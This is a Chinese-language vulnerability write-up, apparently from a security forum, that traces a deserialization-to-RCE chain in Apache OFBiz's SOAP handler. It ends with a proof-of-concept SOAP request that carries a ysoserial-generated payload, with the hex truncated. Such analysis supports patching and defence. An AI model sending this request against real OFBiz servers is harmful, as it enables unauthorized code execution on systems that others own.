Author: 析安实验室(ZionLab)

漏洞分析

官网获取最新版本 https://ofbiz.apache.org/download.html

发现新版本对 .\framework\base\src\main\java\org\apache\ofbiz\base\util\SafeObjectInputStream.java
的 65行 进行了修改,添加了java.rmi.server 黑名单,说明此处应该存在 RMI 的利用链

寻找 SafeObjectInputStream 类的利用链

framework/base/src/main/java/org/apache/ofbiz/base/util/UtilObject.java 的114行

发现 SafeObjectInputStream类被初始化使用

并且直接 return wois.readObject(); 很明显是个反序列化点

继续反向跟踪 UtilObjectgetObjectException方法的利用链

发现自身 92行 getObject() 方法调用了该方法

寻找 UtilObject.getObject() 的调用链

framework/entity/src/main/java/org/apache/ofbiz/entity/serialize/XmlSerializer.java 468行

deserializeCustom方法中有调用过UtilObject.getObject(),从名字上看是个自定义的反序列化方法

继续跟踪直到跳出本类

在94行的 deserialize 方法后没有自身调用了

继续反向跟踪调用链

framework/service/src/main/java/org/apache/ofbiz/service/engine/SoapSerializer.java:45

framework/webapp/src/main/java/org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177SOAPEventHandler类调用,并且在前面出现了SOAPBody等类型,说明这个类很有可能接收了request body,后面可以验证

接着在这个方法invoke()的最开始可以确定这个方法接收了request请求的内容

调用链梳理

request -> SOAPEventHandler:invoke() -> SoapSerializer:deserialize() -> XmlSerializer:多层调用-> deserializeCustom() -> UtilObject.getObject()-> getObjectException() -> SafeObjectInputStream:return wois.readObject(); -> 反序列化完成

正向梳理利用链

1. 通过 SOAPEventHandler:invoke() 获取请求

可以看到获取了 wsdl 参数,这里要跳过if判断向下执行,所以不能带上wsdl 参数

在173行

SOAPBody reqBody = reqEnv.getBody();

2. 获取到请求的 SOAPBody 内容,进入 SoapSerializer.deserialize()

3. 继续跟进 XmlSerializer.deserialize()

多次调用后来到 org.apache.ofbiz.entity.serialize.XmlSerializer#deserializeSingle

deserializeSingle方法中开始判断xml中的标签名

这里需要将恶意代码带入到反序列化中,需要经过 value.put() 将key和value添加到map中。

4. 接着构造map,判断为map-开头的标签应该就行

简单构造

<map-HashMap>
    <map-Entry>
        <map-Key>
        </map-Key>  
        <map-Value>  
        </map-Value>
    </map-Entry>
</map-HashMap>

接着从465行来到了468行

判断了子标签存在 cus-obj 才会进入逻辑,进入逻辑后

传入的 value 为Hex编码过的字节流

5. 接着跟进 UtilObject.getObject(valueBytes); 利用链

在 116行,恶意代码的字节流进入了存在漏洞的 SafeObjectInputStream

6. 跟进 SafeObjectInputStream

先进行了白名单的初始化,不过白名单限制不多

最后进行readObject()进行反序列化

7. 本地调试 UtilObject.getObject() 的利用链是否成功

首先 利用 ysoserial 生成RMI字节流

跟推理的一样来到了 SafeObjectInputStream

继续调试进入 readObject() 方法反序列化

从调试参数看这里的类名为 java.lang.reflect.Proxy,而白名单里刚好有 java..*,在白名单内

因此直接跳到最后 将恶意的字节流反序列化触发RCE漏洞。

漏洞复现

完整构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">  
  <soapenv:Header/>  
  <soapenv:Body>
    <ser>
      <map-Map>
        <map-Entry>
          <map-Key>
            <cus-obj>ACED0005737D00...00000000000078</cus-obj>
          </map-Key>  
          <map-Value>  
            <std-String value=""/>
          </map-Value>
        </map-Entry>
      </map-Map>
    </ser>
  </soapenv:Body>
</soapenv:Envelope>

点击收藏 | 2 关注 | 1
登录 后跟帖